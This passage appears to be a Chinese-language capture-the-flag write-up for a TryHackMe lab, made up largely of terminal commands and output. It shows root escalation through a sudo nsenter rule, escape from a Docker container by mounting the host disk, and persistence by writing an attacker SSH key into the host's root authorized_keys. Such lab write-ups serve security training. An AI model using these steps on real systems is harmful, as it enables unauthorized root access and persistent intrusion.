sudo -lMatching Defaults entries for admin on 6b364d3940e6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser admin may run the following commands on 6b364d3940e6: (ALL) ALL (ALL : ALL) ALL (ALL) NOPASSWD: /usr/bin/nsenter
间接提权到root
sudo /usr/bin/nsenter /bin/shididuid=0(root) gid=0(root) groups=0(root)
去/root/container1_flag.txt
拿flag
提权
用fdisk -l
命令打印发现/dev/xvda1
这个分区应该是主机的分区
咱们把它挂载到以后docker镜像的/mnt/compromise
上面:
mkdir -p /mnt/compromisemount /dev/xvda1 /mnt/compromise
在/mnt/compromise/root
拿到 root flag
把攻击机的公钥追加到靶机的authorized_keys
echo "ssh-rsa *************" >> /mnt/compromise/root/.ssh/authorized_keys
root身份登录靶机
┌──(rootkali)-[~/tryhackme/hackerhill]└─# ssh root@10.10.243.173 -p 22 255 ⨯Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1037-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Oct 29 08:25:38 UTC 2021 System load: 0.04 Usage of /: 88.8% of 7.69GB Memory usage: 72% Swap usage: 37% Processes: 205 Users logged in: 0 IPv4 address for br-9c1efeb291f3: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.243.173 => / is using 88.8% of 7.69GB0 updates can be installed immediately.0 of these updates are security updates.The list of available updates is more than a week old.To check for new updates run: sudo apt updateThe programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.root@ip-10-10-243-173:~# cat /var/www/container2_flag.txtcat: /var/www/container2_flag.txt: No such file or directoryroot@ip-10-10-243-173:~# whoamiroot
全局查找flag2
root@ip-10-10-243-173:/# find / -name container2_flag.txtfind: ‘/proc/27811’: No such file or directory/var/lib/docker/overlay2/fb80a052499ad52a2df535ce669f4cca3b02009c751ab47752374a566ec61667/diff/var/www/container2_flag.txt/var/lib/docker/overlay2/7149ee32cde09f7439cc3588b5f757bd6b16aaaccb59f8cf3291e8d6dc6c05db/merged/var/www/container2_flag.txt
全局查找flag3
root@ip-10-10-243-173:/# find / -name container3_flag.txtfind: ‘/proc/28025/task/28025/net’: Invalid argumentfind: ‘/proc/28025/net’: Invalid argument/var/lib/docker/overlay2/d38650b56ff4bbca92fe794176a3394bd05fc9d55d87341b1c0d2a54b5ae1c03/merged/home/container3_flag.txt/var/lib/docker/overlay2/5bfb136d474f285a5a6133918e11acd8212b7559b33494e11e8c72fbe7e2f6c6/diff/home/container3_flag.txt